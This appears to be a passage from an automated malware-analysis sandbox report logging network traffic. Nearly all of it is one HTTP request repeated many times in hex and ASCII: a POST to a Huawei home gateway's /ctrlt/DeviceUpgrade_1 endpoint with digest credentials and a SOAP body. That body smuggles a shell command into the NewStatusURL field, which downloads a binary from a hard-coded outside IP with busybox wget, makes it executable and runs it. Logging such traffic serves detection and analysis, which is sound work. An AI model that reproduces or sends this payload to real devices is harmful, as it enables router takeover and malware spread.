6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
